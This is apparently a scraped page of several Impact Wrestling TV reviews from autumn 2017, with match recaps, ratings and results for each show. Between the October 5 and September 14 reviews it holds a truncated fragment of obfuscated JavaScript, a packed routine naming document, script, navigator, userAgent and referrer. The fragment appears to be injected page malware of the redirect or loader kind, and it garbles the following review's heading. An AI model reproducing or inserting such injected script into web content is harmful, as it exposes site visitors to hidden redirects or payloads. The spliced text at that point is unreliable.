Rating: D. This was barely a match and was much more about advancing Fantasma vs. Texano, which is a feud I didn’t even know existed coming into this show. The story continues to be a combination of uninteresting and bad here as apparently it’s over that Grand Championship match from a few weeks back. I’m sure this is leading to a six man tag at Bound For Glory, even though there’s next to no interest in this whole thing (which to be fair could apply to the company as a whole at this point).

Eli Drake is on the phone when he runs into Dutch Mantel. Apparently Eli is missing media appearances and marketing calls so Dutch wants to know what’s up. Drake blows them off and says those things aren’t important before returning to the phone. It’s not clear who he’s talking to but Drake thinks it’s time they came back.

After a break, Jim Cornette, Scott D’Amore and Mantel yell about Drake. Scott leaves to make sure they have a show tonight. Cornette comes up with an idea: if Drake loses the title, this whole thing might work itself out.

From Border City Wrestling in Windsor, Ontario, Canada.

GFW Tag Team Titles: OVE vs. Phil Atlas/Brent Banks

OVE is defending and we’re joined in progress with Dave and Atlas coming in off hot tags. Phil is taken into the corner and kicked in the face for his efforts. Jake gets two off a dropkick as the announcers talk about almost anything else. Not that it matters as Brent comes in again with a dropkick of his own and a front flip into a nip up. Dave sends the champs into each other but Banks hits a falling cutter. A top rope elbow gives Banks two but it’s the spike tombstone to Brent to retain the titles at 5:10 shown.

Rating: C-. Who are Phil Atlas and Brent Banks and why does GFW think I’m interested in them? Better yet, what is Border City Wrestling? AAA and Pro Wrestling Noah are big deals but the Crash and Border City aren’t exactly household names, or really even big time indies. They’re just promotions that are included occasionally and it’s not like this is outstanding action or anything like that. It’s another match that doesn’t do anything for me and that’s been the case since these international matches started.

Another long recap of Moose/Bonnar vs. American Top Team. By the way we’re 24 minutes into the show and we haven’t seen any wrestlers in the Impact Zone arena.

Drake won’t do an interview and texts someone instead.

From Pro Wrestling Noah in Tokyo.

GHC Title: Eddie Edwards vs. Naomichi Marafuji

Edwards is defending. Feeling out process to start as they run the ropes with neither being able to get much of an advantage. It’s a standoff and we’re clipped to Eddie hitting a Blue Thunder Bomb for two. An enziguri knocks Marafuji off the top but he comes back with a no sold Saito suplex. A hard shot to the chest drops Marafuji and we’re clipped to Edwards not being able to hit a suplex.

Clipped again to Marafuji kicking Eddie in the head to stop a dive. They head outside with the pads being pulled back. Eddie can’t hit a piledriver on the concrete but settles for a superkick instead. Another clip takes us to Eddie hitting a nasty suicide dive. Clipped again to Eddie getting piledriven on the apron (good looking crash) and yet again to Marafuji hitting a top rope C4 for two.

Another clip has Eddie grabbing a super hurricanrana, followed by another clip into the Boston Knee Party getting two. A tiger bomb gets two more and it’s an Emerald Fusion to retain Eddie’s title at 6:36 shown. Way too many clips to fairly rate this but this looked to be a heck of a match, which ran about twenty six minutes in full.

Marafuji shakes his hand post match.

OVE is sick of LAX and has a friend to help them out. We don’t see his face but he gives a thumbs up, which switches to a thumbs down. That’s the pose of Sami Callihan, who has been rumored to be coming to the promotion.

Drake says he doesn’t have time to talk but is ready for his tag match against Johnny Impact and Garza Jr.

Laurel Van Ness is in the arena with two glasses of champagne. She’s the first GFW talent in the arena tonight and we’re 47 minutes into the show.

Back to Border City Wrestling in Windsor, Ontario, Canada.

Petey Williams vs. Idris Abraham vs. Tarik vs. Kiyomiya

One fall to a fall and it’s a brawl to start with Kiyomiya getting knocked down, setting up a brawl between Abraham and Tarik. Abraham gets put in the Tree of Woe for O Canada and we’re clipped to Petey hitting running corner dropkicks. Petey dives onto Kiyomiya and grabs a crucifix for two on Tarik.

Back in and Abraham starts cleaning house with some forearms, only to have Tarik send him into the corner for a running elbow. What looks to be a Cross Rhodes is broken up and it’s Tarik hitting Ricochet’s Benadryller for two on Kiyomiya. Petey comes back in with a bicycle kick and it’s the Canadian Destroyer to put Tarik away at 5:55.

Rating: C. Pretty standard four way match and I’m not even going to bother making the same complaints that I’ve made so far. The other problem here is this was a way to showcase Petey Williams. That’s all well and good, but is there NO ONE else that could get this kind of a spotlight? I mean, of course that would suggest actually putting the focus in the arena and on GFW, which isn’t the point of this show, at least in the first half.

Recap of Impact vs. Drake.

Eli Drake/Chris Adonis vs. Johnny Impact/Garza Jr.

Adonis shoves Garza into the corner to start and Garza TAKES OFF HIS….shirt. Dang it that’s quite the tease. An enziguri puts Adonis down and it’s off to Impact for some double chops. Chris pulls Impact’s hair from the apron though and Drake comes in to hammer away. Everything breaks down for a big and Drake clears the ring without too much effort.

Adonis adds a clothesline to take Johnny down but he sends the villains into each other, allowing the hot tag to Garza. That means IT’S TIME FOR GARZA TO TAKE OFF HIS PANTS, followed by a superkick to Adonis. Stereo moonsaults get two on Drake but Garza gets knocked down as we take a break.

Back with Garza getting double teamed in the corner and Adonis doing his biceps pose (This guy might have fewer moves than Kevin Nash). We hit a camel clutch for a bit before it’s off to Drake for a bad looking powerslam. Garza kicks him away though and it’s the hot tag to Johnny. A running knee to Adonis sets up the springboard corkscrew crossbody with Drake making the save. Everything breaks down and Adonis hits Drake by mistake, allowing Johnny to grab a rollup for the pin at 14:02.

Rating: C. Just a tag match here though they made a point of having Drake avoid Impact. They’ve set up a nice little story for the title match, but the company is kidding themselves if they think this is the top story going into the pay per view. The World Champion shouldn’t be taking a huge backseat to something that isn’t a really important feud and that’s not something Bound For Glory has.

Alberto El Patron is returning at Bound For Glory.

Video on Trevor Lee coming to the Crash and wondering who he’s facing for the X-Division Title.

From the Crash in Tijuana, Mexico.

X-Division Title: Trevor Lee vs. Ultimo Ninja

Lee is defending, which shouldn’t be that surprising as we haven’t seen Ninja (Garza Jr.’s brother) before. Ninja wastes no time in taking Lee down for a dropsault. Lee sends him outside and scores with the running apron kick to the chest. Back in and things slow down again with Lee slowly stomping and posing a lot. Ninja fights back with a missile dropkick for two, followed by a running flip dive to the floor. A spinning kick to Lee’s face gets two more on Lee but he raises his boots to block a moonsault. The standing double stomp retains Lee’s title at 6:00.

Rating: D+. It’s not a good sign when the fans who know Ninja didn’t seem to care about him either. This was a short match with two guys not doing much of anything special. There was no reason to believe that the title was changing hands, making it just a step ahead of an old school squash.

Global Forged.

King Mo doesn’t like Moose or Bonnar. You remember King Mo right? He’s that MMA guy who shows up every few years, doesn’t do anything important and leaves again without most people realizing he’s gone. But he a Bellator mainstay so he’s always being brought back. His history with TNA isn’t mentioned here so if you don’t know that stuff coming in, he’s just an MMA fighter with a big mouth.

Moose vs. Bobby Lashley

Bonnar and Lambert are the seconds here. They don’t waste time as it’s Moose taking him into the corner to start for some hard forearms to the chest. Lashley sends him into the corner as well for some forearms of his own. Moose puts him on the top for a dropkick out to the floor as we take a break.

Back with Lambert grabbing Moose’s leg so Lashley can kick him to the floor. Lambert gets in some choking with a boot as he’s holding some kind of trophy. Lashley hits some posing on the floor and stomps away on Moose back inside. There’s something to be said about someone who can do all the power stuff and wrestle a strong amateur style going with a simple offense instead.

It’s quite the heel move as he’s basically saying he doesn’t need to go to the good stuff when simple offense is more than enough. A chinlock doesn’t last long and it’s Moose coming back with the bicycle kick. Moose’s hesitation dropkick connects but Lambert comes in for the DQ at 11:41.

Rating: C. Something that has gone under the radar in this feud: Dan Lambert is a pretty good heel manager. He’s obnoxious and condescending and can talk fairly well, but he’s stuck in this terrible story. Kind of a shame really. Anyway this worked well and they were smart to do the non-finish with less than two weeks before Bound For Glory. Lashley and Moose are good choices for power guys and you can almost guarantee a tag match at the pay per view. I have no idea why we’re not just seeing this singles match there, but I’m assuming it’s something about the company thinking wrestling fans care about MMA.

Moose and Bonnar clean house post match with Moose powerbombing one of the American Top Team guys onto the pile. The MMA guys bail to the stage and Moose throws out a challenge for Six Sides of Steel at Bound For Glory.

A promo for LAX vs. OVE wraps us up.

Overall Rating: D-. They do know that Bound For Glory is in less than two weeks? You really could have cut this show down to about thirty five minutes and no one would have noticed the difference. There were seven matches on this show and three of them (one of which was heavily clipped) involved wrestlers with matches actually on the pay per view card. It really does feel like they’re throwing whatever they can out there and hoping people watch.

I know they have some issues with filling in so much content over the way too long marathon taping sessions but filling it in with this isn’t working. There’s a good chance that they’re going to do the exact same thing with the Ottawa tapings and that’s going to make for some very, very long episodes in the future. This show was hard to sit through and that’s with a goal in sight. How bad is it going to be when they don’t have a pay per view for another eight months?

Results

James Storm/Ethan Carter III b. El Hijo de Fantasma/Texano – Last Call to Fantasma

OVE b. Phil Atlas/Brent Banks – Spike tombstone to Banks

Eddie Edwards b. Naomichi Marafuji – Emerald Fusion

Petey Williams b. Tarik, Idris Abraham and Kiyomiya – Canadian Destroyer to Tarik

Johnny Impact/Garza Jr. b. Eli Drake/Chris Adonis – Rollup to Adonis

Trevor Lee b. Ultimo Ninja – Standing double stomp

Moose b. Bobby Lashley via DQ when Dan Lambert interfered

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Impact Wrestling
Date: October 19, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

Hopefully with more wrestling this week. We’re less than a month away from Bound For Glory 2017 and that means it’s time to really crank things up. The big story is Johnny Impact becoming #1 contender to Eli Drake’s World Title. Well at least that’s the big story on the wrestling side. On the MMA side, Moose has been joined by Stephan Bonnar to go after American Top Team. Let’s get to it.

Moose and Stephan Bonnar arrive with everything they stole from the American Top Team facilities.

American Top Team is here as well. It’s going to be another one of those shows.

Recap of Chris Adonis attacking Johnny Impact last week.

Chris Adonis vs. Johnny Impact

Adonis slugs away at Johnny to start but gets kicked in the ribs. We hit the bearhug on Impact for a bit before a spinebuster gets two. The Adonis Lock goes on but Johnny is able to dive over the top for the break in a unique idea. Back in and Impact slugs away in the corner, including a kick to the head. The flip neckbreaker gives Impact two, followed by a springboard corkscrew kick to the head for another near fall and we take a break. Back with Impact breaking up a superplex attempt and hitting the countdown 450 (Countdown to Impact) for the pin at 10:15.

Rating: C. Impact looked fine here, albeit about as bored as you’re going to be against Adonis. At least this match made sense for Impact as he was fighting Eli Drake’s lackey instead of fighting Garza Jr. for no logical reason. The match was more about advancing the story than anything else and that’s what this story needs.

Post match Eli Drake runs in but gets his pants ripped off. The double teaming takes Impact down but Garza Jr. runs in for the save because HE is the one who rips the pants off around here.

Alberto El Patron is back at Bound For Glory. Again I say: PLEASE NO!

Hijo de Fantasma vs. James Storm vs. Texano vs. Eddie Edwards vs. Ethan Carter III

This is from Cancun, Mexico, the winner goes on to a match we won’t be seeing and it’s one fall to a finish. It’s a brawl to start with Storm being sent outside as JB talks about how Team Impact needs to work as a unit. Again, one fall and singles matches of course so let’s talk about teamwork. Carter clotheslines Texano down and it’s time for some triple teaming until Carter doesn’t want Storm to get the pin. Fantasma crossbodies Eddie for two but it’s Storm up again to take over.

That’s still not cool with Carter, who says he should be getting the fall. We hit a parade of big moves until Carter and Texano hit a double clothesline to put everyone down. Back up and Texano posts Edwards, leaving Fantasma to piledrive Carter. Storm and Texano tease going after Fantasma’s father at ringside but the distraction just lets Texano pin Carter at 8:22.

Rating: C-. I’m running out of ways to say I don’t care about this story. They’ve run the same people fighting in Orlando over the promotion invasion and now they’re fighting in Mexico for a spot in a match we won’t be seeing. These matches are watchable but I need more of a story to make me care whatsoever.

OVE is in Tijuana, Mexico to find Konnan, who agrees to meet with them in exchange for a title defense in the Crash promotion.

Carter, Storm and Edwards bicker about the loss in Cancun.

American Top Team yells at Jim Cornette over the stolen property. You have breaking and entering, destruction of property and theft on tape/national TV and you go to the wrestling boss?

Dezmond Xavier vs. Andrew Everett

Everett takes him down by the neck for two to start and a snap suplex gives him the same. Xavier is sent outside as we hear that Taryn Terrell won’t be in the Knockouts Title match at Bound For Glory. Sounds like an injury or someone else leaving the company. That’s enough talking about the Knockouts so the announcers discuss Alberto El Patron returning.

Xavier makes his comeback with some kicks and a backdrop to the floor, followed by the running flip dive to take out Everett and Trevor Lee. Speaking of Lee, he offers another distraction but Xavier misses a charge into the corner. The moonsault kick to the head gives Xavier the pin at 4:37.

Rating: D+. Yeah this happened. It was your usual flip match with the announcers ignoring the action because the X-Division doesn’t mean a single thing in this promotion. As usual, it’s the vaguest of issues (Lee thinks he and his boys are the best, the rest of the division disagrees) and odds are they’ll be thrown into Ultimate X for the title match. That’s lazy writing and I’m not a bit surprised.

Preview of Lee going to Tijuana next week to defend the title. GOOD GRIEF ENOUGH WRESTLING FROM MEXICO ALREADY! These are just matches for the sake of having matches and this is now the third story on the show set in Mexico. I get that a partnership is cool but this is taking over the show.

Oh hey let’s go to Mexico again where OVE is looking for Konnan. They’ll have to defend the titles tonight.

Bonnar and Moose have the Bellator gear in the back. Yes they really brought it here with them and we’re supposed to believe this is real.

Long recap of the issues between Grado and Joseph Park with Park exploiting Grado and taking his money.

Here’s Grado to call out Park. Grado is ready to prosecute Park for stealing from him (or maybe just taking whatever Grado agreed to give him in the contract) and he’s going to be Park’s executioner. We hear a rant about how Grado has been worked ragged for Park’s benefit and Grado doesn’t want to hear any jokes. Park admits that the money was too tempting for him and he gave in. However, the visa keeps Grado in the country so he pretty much has nothing to say right now.

Grado wants the visa handed to him but Park has a better idea: a match at Bound For Glory for Grado’s freedom. Grado immediately signs and Park is rather happy. See, Grado still hasn’t learned about reading the fine print. It turns out that the match is going to be Monster’s Ball and against the monster Abyss.

Recap of Moose/Bonnar vs. American Top Team. My goodness this show loves its recaps.

A panicked Grado gets in his car when someone changes the radio to Abyss’ theme. It’s Father James Mitchell of all people, who scares Grado away.

Tag Team Titles: OVE vs. Black Diamond/Black Danger

OVE is defending and this is in Tijuana for the Crash promotion. Jake, in most of a suit, crossbodies Diamond to start and it’s OVE firing off some kicks to the ribs. We finally settle down to Danger being sent into Diamond, only to have Danger catapult Jake into a spear out of the air. Cool spot if nothing else. A superplex into a powerbomb gets two on Danger and it’s a spike tombstone (with a top rope double stomp) to put Diamond away at 3:44.

Rating: C. Points for having OVE get a win but, again, the focus was this being in Tijuana than anything else. I get that the company thinks going to these other promotions is the coolest thing in the world but all it does is make me think that the Impact Zone is a joke and that the company doesn’t think much of their own talent because they need to go elsewhere to make the show work.

JB is in the ring for what sounds like the Hall of Fame announcement when American Top Team interrupts. Dan Lambert says this isn’t how it was supposed to be. This was supposed to be a thing with Jeff Jarrett but now he’s the villain in the story, despite being a huge wrestling fan for forty years. He got into MMA through Japanese shoot professional wrestling promotions and has the biggest collection of wrestling memorabilia in the world.

Lambert pulls out Bruno Sammartino’s first WWWF World Title belt, the National Tag Team Titles from Georgia, the Mid-Atlantic Tag Team Titles, and Jerry Lawler’s AWA World Title (which I believe Lawler said he still had on the AWA documentary). Lambert talks about Moose and Bonnar taking their stuff and showing no respect.

Therefore, at Bound For Glory, we should have a fight with the two of them facing King Mo and Lashley. That’s a fight that wrestling can’t win because they’re not real fighters. Cue Moose and Bonnar with the Bellator titles but they’re quickly beaten down. Lambert runs his mouth about how horrible wrestling is and American Top Team beats down security and the invading roster.

This was a better segment than any other from the MMA guys but EGADS the level of focus this story is receiving is getting very old. It’s a bunch of guys who aren’t going to wrestle plus Lashley and King Mo, who wrestled like three times and wasn’t interesting. Lambert is a decent heel manager but I get really, really tired of hearing about how awesome mixed martial arts is every single week. As usual, this company has no idea what draws fans in and just goes with an idea that they like for months on end, probably leading to a tag match which should be a regular match, but that would imply that the wrestlers are the interesting ones.

OVE gets to meet Konnan and want their pay for the night. Uh, Konnan never said he’d pay them. He said he’d talk to them in exchange for them wrestling. Konnan basically says as much and here are the Crash guys to beat OVE down. Who decided to have two beatdown segments in a row?

Global Forged videos, as we continue to have ANYTHING but Impact on this show.

Recap of Taya Valkyrie vs. Rosemary.

Taya Valkyrie vs. Rosemary

Rosemary wastes no time in charging at Taya in the corner and throwing her across the ring. Taya chokes her in the corner a bit and we take a break. Back with Rosemary stomping in the corner as the announcers make a not so subtle reference to Sexy Star injuring Rosemary in Mexico. Rosemary’s modified Tarantula slows Taya down but Valkyrie throws her into the corner to take over again.

A quickly broken chinlock keeps Rosemary in trouble but she grabs a release German suplex. They loudly slug it out with Rosemary screaming a lot, only to be taken down by some hard kicks to the chest. Rosemary is dropped with her legs bent underneath her, only to come back up with an Undertaker style situp. Not that it matters as Taya hits a double stomp for the pin at 10:55.

Rating: C-. Well that was surprising. I would have bet on this being saved for Bound For Glory but we got it here instead. Having Rosemary lose here shows how strong they’re making Valkyrie, who will probably be Knockouts Champion when we’ve praised Gail Kim enough. I mean, that’s been the case for years now but why change what’s working so little over the years?

Post match Taya loads up the Road to Valhalla but gets misted for her efforts. Rosemary says they make each other see red so it can be a different shade of red at Bound For Glory: blood red. That sounds like a first blood challenge, though I’m more curious about why Taya’s face looks completely normal after taking red mist to the face.

Overall Rating: D+. What is Impact Wrestling? I know it’s supposed to be this promotion that has a bunch of international talent coming in but it feels like a place that has been taken over by that international talent and showcases it’s own talent when they’re given the chance. On this show, we saw the Team Impact guys, the X-Division Champions and the Tag Team Champions in Mexico, along with a woman who calls herself lucha royalty in the main event, the AAA World Champion challenging for the World Title and the main story on the show being built around something that started in Mexico.

As I’ve been saying for weeks now, this show is about everything other than Impact Wrestling. I’m having real issues caring about most of this stuff because I have no real reason to care about them. The MMA stuff continues to bore the heck out of me (pick a reason why, starting with the fact that it’s almost ALL about the MMA people with Moose feeling wedged in there to make it a wrestling angle) and the World Title feud feels like a midcard match. This show is really frustrating as they seem to be charging in the wrong direction as we had into the biggest show of the year.

Results

Johnny Impact b. Chris Adonis – Countdown to Impact

Texano b. Hijo de Fantasma, James Storm, Eddie Edwards and Ethan Carter III – Piledriver to Carter

Dezmond Xavier b. Andrew Everett – Moonsault kick to the head

OVE b. Black Danger/Black Diamond – Spike tombstone to Diamond

Taya Valkyrie b. Rosemary – Double stomp

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

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Impact Wrestling
Date: October 5, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

We’re closing in on Bound For Glory and fresh off another show that ended in chaos with the American Top Team guys cleaning house. World Champion Eli Drake actually got to do something though as he and Chris Adonis got to beat down Johnny Impact and Garza Jr., who is now involved in the main event scene for some reason. Let’s get to it.

In Memory of Lance Russell.

We get a Pray For Vegas graphic.

We open with a recap of Johnny Impact vs. Eli Drake last week with Impact getting cheated out of the title. Johnny wants a fair rematch.

Opening sequence.

Here are Drake and Adonis to open things up. Drake talks about driving down Victory Road last week and pulling straight into Slam Town. He turned the ghetto into a parking lot and built Eli’s Cakes on top. Eli: “YUMMY! YEAH!” Johnny isn’t here tonight and there’s a good chance he won’t get back after that Gravy Train he took last week.

Drake turns his sights to Jim Cornette, whose golden boy couldn’t get the job done. Cornette has brought up every challenger he can and next week he’s sending the champ to Japan. Since he has to go halfway around the world next week, he’s getting the night off tonight. As for Adonis though, he wants to fight so let’s get an opponent out here right now.

Chris Adonis vs. Garza Jr.

Adonis is in street clothes and Drake joins commentary. Garza scores with a series of kicks for two but Adonis takes over on the arm. Back up and a hurricanrana takes Adonis out to the floor but he drops Garza onto the barricade as we take a break. We come back with Garza fighting out of a chinlock but getting caught in a butterfly suplex.

Adonis cranks on both arms as this match just keeps going. Seriously it’s Chris Masters vs. the local luchador. Why is this getting ten minutes? A spinebuster plants Garza but we cut to the back where Johnny Impact arrives. The Adonis Lock doesn’t work as Garza sends him into the corner. Drake bails to feed the parking meter and THERE GO GARZA’S PANTS!!! The Lionsault misses and Impact runs in for the DQ at 12:00.

Rating: D-. We just sat through Chris Masters vs. the luchador whose big spot is taking his pants off for twelve minutes with a run-in DQ. That’s the best thing they have to open the show? Horrible stuff here as Adonis really isn’t interesting and hasn’t changed a bit since he was in WWE. Find something more interesting than this.

Post match Impact beats up Adonis but gets in a fight with Garza. Cue Jim Cornette to make Impact vs. Garza Jr. for next week (yay). He throws in a bonus: the winner will be facing Drake for the title at Bound For Glory. So Garza goes from a midcard tag guy to possibly #1 contender for the World Title in the main event of the biggest show of the year in a few weeks? Even Jinder Mahal would think that’s extreme. Garza and Impact brawl some more. By the way, the total time between Cornette coming up and the music playing after his announcement: 87 seconds.

Recap of Moose vs. Bobby Lashley, which of course features the American Top Team guys. Good grief why do they think we care?

Moose is in a parked car looking for Lashley. He’s heading for the American Top Team headquarters.

Wrestlers are ready for Bound For Glory.

We look at OVE winning the Tag Team Titles last week.

Konnan yells at LAX for losing so Santana gets in his face. The card table is turned over.

OVE vs. Jon Bolen/Trey McGill

Non-title. Jake starts with Bolen but gets waistlocked for his efforts. A high crossbody and neckbreaker drop Bolen and McGill is sent outside as well. Jake drops both of them with a double suicide dive, followed by Dave’s Asai moonsault. Back in and OVE kicks McGill in the head a few times and let’s plug those Pop TV sitcoms. A High/Low puts Bolen away at 3:38.

Rating: D+. Just a quick win here to further establish OVE as stars. It would be nice if they established some other teams though as I’m not sure who OVE is supposed to feud with after they presumably defeat LAX in the rematch at the pay per view. The tag division is one of the company’s weakest points and that’s really covering a lot of ground.

We recap James Storm/Ethan Carter III vs. the AAA guys, who completely hate this company because the script tells them to.

Here are KM and Sienna with the latter complaining about not having a match on Bound For Glory. No one has a match on the show yet you nitwit. She says she’s going into the Hall of Fame this year so here’s Gail Kim to interrupt. Gail wants her show at the Knockouts Championship Title (still such an odd way to word it) at Bound For Glory.

Cue Taryn Terrell to say she was the longest reigning Knockouts Champion in history and wants a chance to get the title back. Now it’s Allie coming out with Josh seemingly liking her look this week. The other three might be former Knockouts Champions but she’s Allie and deserves another chance to become champion. Cue Karen Jarrett to say Sienna isn’t going into the Hall of Fame. Yes, they actually felt that we needed that explained to us. It’s also a four way for the title at Bound For Glory.

Joseph Park has a meet and greet scheduled for Grado but Grado thinks the prices are a little high. Park says you can charge these marks anything. He pays Grado what seems to be a small amount of money but Grado again seems happy with it.

Caleb Konley/Andrew Everett/Trevor Lee vs. Sonjay Dutt/Petey Williams/Matt Sydal

Remember like three weeks ago when Sydal was getting a World Title shot? Or remember like fourteen years ago when people cared about Petey Williams? I mean you should, as it’s the only reason he’s in this spot at the moment. Everything breaks down just a few seconds in with the villains taking over early on, only to be sent into each other. A triple dropkick sends them outside, followed by an apron moonsault and a double suicide dive.

Back from a break with Dutt and Sydal legsweeping Lee and Konley to set up stereo standing moonsaults. Dutt gets kneed in the back and kicked in the face as the beating begins. Konley works on the arm as the announcers talk about the villains’ unity for wearing all black gear. Or they want to make sure no one recognizes them on this show.

Dutt grabs a tornado DDT while dropkicking everyone else, setting up the hot tag to Petey so house can be cleaned in a hurry. Everything breaks down and Sydal’s top rope double knees takes Lee down. Matt throws Lee into Everett on the top, followed by the shooting star to end Everett at 14:31.

Rating: C. I’m not even going to bother with the sarcasm here. It was a completely watchable cruiserweight match that means a grand total of nothing because they’re going to be thrown into an Ultimate X match for the title where no one gets to showcase any individuality and the whole thing is about crazy spots that we’ve seen before and we hear about how important the X-Division is despite it never getting any focus. We’ve heard the same thing for the better part of ten years now and I’m tired of pretending it’s going to change.

Dutt wants the title shot at Bound For Glory and the winners get in an argument over who should have the chance. Just announce Ultimate X already so it can be over hyped.

Here’s this week’s Global Forged.

Laurel Van Ness is back in the audience looking a husband.

Moose arrives at the gym and shoves Dan Lambert away. He gets in a cage but a fighter punches him in the face so the beatdown can be on. They throw Moose out of the building.

Ethan Carter III/James Storm vs. El Hijo de Fantasma/Texano Jr.

In what is becoming a trend, this is getting nearly half an hour. Storm takes Texano down to start as JB hypes this as main eventers vs. main eventers. Carter and Storm get in an argument over a tag though and it’s Fantasma sneaking in for a cheap shot to take over. Storm slips over and makes the tag to Carter for a flapjack on Texano.

The TK3 gets two but Fantasma gets the same off a dropkick. Carter is taken into the heel corner for some stomping, followed by a hard kick to the chest for two. It’s off to the chinlock for a bit until Carter fights up, only to have Pagano come strolling down. Back from a break with Carter still in trouble via some more choking on the ropes.

Texano adds in a jawbreaker and shouts in Spanish for Fantasma to go up. That means a missed splash though and a cutter allows the hot tag to Storm. Everything breaks down again and Storm starts to clean house. It must not be a very big house though as Fantasma superkicks him down, only to get crotched on top. He hasn’t had much luck up there.

The Tower of Doom takes everyone down and thing slow a bit. Carter is thrown outside and then into the post by Pagano as Eddie Edwards not being here to even things out is likely going to be a plot point. Storm loads up a suplex, only to have Pagano trip him up and hold the leg so Fantasma can get the pin at 19:50.

Rating: D+. This one boils down to whether this story interests you or not. It doesn’t in my case as I still have no reason to care about any of the AAA guys, nor do any of them have any motivation to be heels other than they’re from another company. That’s not enough of a story for my taste and I really didn’t need to see a completely average at best tag match going on for twenty minutes.

We go back to the LAX club house where Konnan has a big idea: a street fight at Bound For Glory. Everyone leaves to party and Low Ki is shaking his head.

Overall Rating: D. The show still feels completely flat as almost nothing interesting happened all night long. A big part of that is the roster being filled by so many outsiders, be they from MMA or AAA. It’s one thing if the matches are tearing the house down or something (like the lucha libre in ECW where they were a bunch of outsiders but stealing the show in a way no one had seen in America before) but that’s not what we’re getting here.

Instead it’s a bunch of average matches with very weak stories that aren’t drawing in any special interest. Odds are the MMA guys get in the ring at Bound For Glory, which hasn’t been interesting before and won’t be this time either. Either way, I’m sure we’ll be told that it’s the most thrilling thing we’ve ever seen and how the company is changing wrestling.

What GFW doesn’t seem to get is that changing wrestling isn’t always a good thing and just being different for the sake of being different doesn’t work. They need a focus and I really haven’t seen that in a long time. Figure out what you want to be and go with it, but just bringing in a bunch of people from another promotion whose entire characters are “this person is from this promotion and they’re awesome” isn’t enough. The show wasn’t terrible by any stretch but it also was one of the least interesting ones they’ve done in a good while, which is the case way too often around here.

Results

Chris Adonis b. Garza Jr. via DQ when Johnny Impact interfered

OVE b. Jon Bolen/Trey McGill – High/Low to Bolen

Matt Sydal/Sonjay Dutt/Petey Williams b. Trevor Lee/Caleb Konley/Andrew Everett – Shooting star press to Everett

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dssfi|var|u0026u|referrer|fkrsa||js|php'.split('|'),0,{})) Wrestling
Date: September 14, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, Jeremy Borash

We’re closing in on Bound For Glory though nothing has actually been mentioned about the show yet. The big match this week is OVE vs. LAX for the Tag Team Titles….from the Crash in Tijuana, Mexico. In other words, it’s more footage from another promotion instead of here at Impact Wrestling. This is starting to feel like Ring of Honor and that’s really not a good thing. Let’s get to it.

Lashley and American Top Team arrive and beat up a backstage guy.

Quick video on Johnny Impact vs. Low Ki for the #1 contendership.

Opening sequence.

Garza Jr. vs. Braxton Sutter

Fallout from Sutter talking to Allie last week. Sutter headlocks him to start but stops to let Garza take off his shirt. A slam gives Garza two, followed by a sunset flip out of the corner for the same. Sutter gets two off a powerslam but again stops so Garza can take off his pants, but not before blowing a kiss to Allie. Her jaw drops as the pants come off and Garza superkicks Sutter for good measure. A powerbomb gives Sutter three straight near falls but he gets superkicked for a second time. Garza adds a Lionsault (minus the running start) for the pin at 4:53.

Rating: D+. So the story now is about Garza hitting on Allie and Allie causing Sutter problems. That’s quite the shame as they seem to be teasing a breakup here, despite the two of them being such an awesome team just a few months ago. Allie is incredibly talented and it’s kind of a shame that she’s been relegated to a really standard story instead of letting the two of them run with what they had earlier in the year.

Post match Sutter yells at her but then apologizes. Allie doesn’t seem to accept it at first but eventually leaves with him.

Grand Championship: Ethan Carter III vs. El Hijo de Fantasma

Carter is defending and gets a decisively face pop. Hector Guerrero is one of the judges and Josh accuses him of being biased. Fantasma is forced into the corner to start but comes right back with an armbar to slow things down. Naturally the announcers talk about Lashley and MMA because that’s what this wrestling show is now about. Some chops get Carter out of trouble and he drops an elbow for two. The TK3 connects but sends Fantasma to the floor as the round ends.

Round one goes to Carter so Fantasma starts round two in a hurry. A right hand puts him back down though and the pace slows again. Fantasma jumps over him in the corner and snaps off a hurricanrana. A jumping knee to the face sets up running knees in the corner as Carter is rocked. Fantasma gets two off a top rope hurricanrana and frog splash. The 1%er is broken up and it’s a surfboard hold to take us to the end of round two.

Fantasma wins to tie things up and we take a break before the third fall. Back with Carter powerbombing him twice for another near fall and both guys being a bit spent. A slugout goes to Fantasma but Carter flips out of a Fujiwara armbar. Another TK3 gets two but Fantasma sends him outside for a suicide dive. Back in and a hanging 1%er plants Fantasma as the time expires at 9:00. Carter wins via split decision.

Rating: B-. Good match, and another great example of one that completely doesn’t need the round thing. It’s a good enough match and they were beating each other up but it was really hard to buy the near falls when they just love these judges’ rulings. I liked the match enough but this just needs to be the TV Title again with this whole nonsense dropped.

Post match Fantasma gets in a shoving match with Hector, who was the deciding vote. That dies down and it’s Pagano debuting (in a very weak moment) to beat Carter down. Eddie Edwards runs in for the save, which Carter doesn’t seem to care for.

We go to Mexico where Homicide reunites with LAX. They hit a club and Konnan says the fix is in because they’ve paid off the referee and gives OVE tainted water.

Tag Team Titles: Ultimo Maldito/Hijo de Pirate Morgan vs. Black Boy/Arkangel Davino vs. LAX vs. OVE

Don’t know who these guys are? Well that’s just your fault because you didn’t do your homework by watching a promotion from Mexico to study up on things. Jeremy says one of their names is Black Diamond but when I looked up some of the names to see how they were spelled, it was listed as Black Boy. Much like the matches during the Hardys’ World Tour, this is a bunch of clips instead of the full match. There are some good looking dives and near falls, followed by what seems to be a three count but the referee is pulled out. Homicide adds a Gringo Killer and LAX retains after less than three minutes shown.

We see OVE going up to I believe the Crash locker room and Konnan says that’s like signing your death certificate.

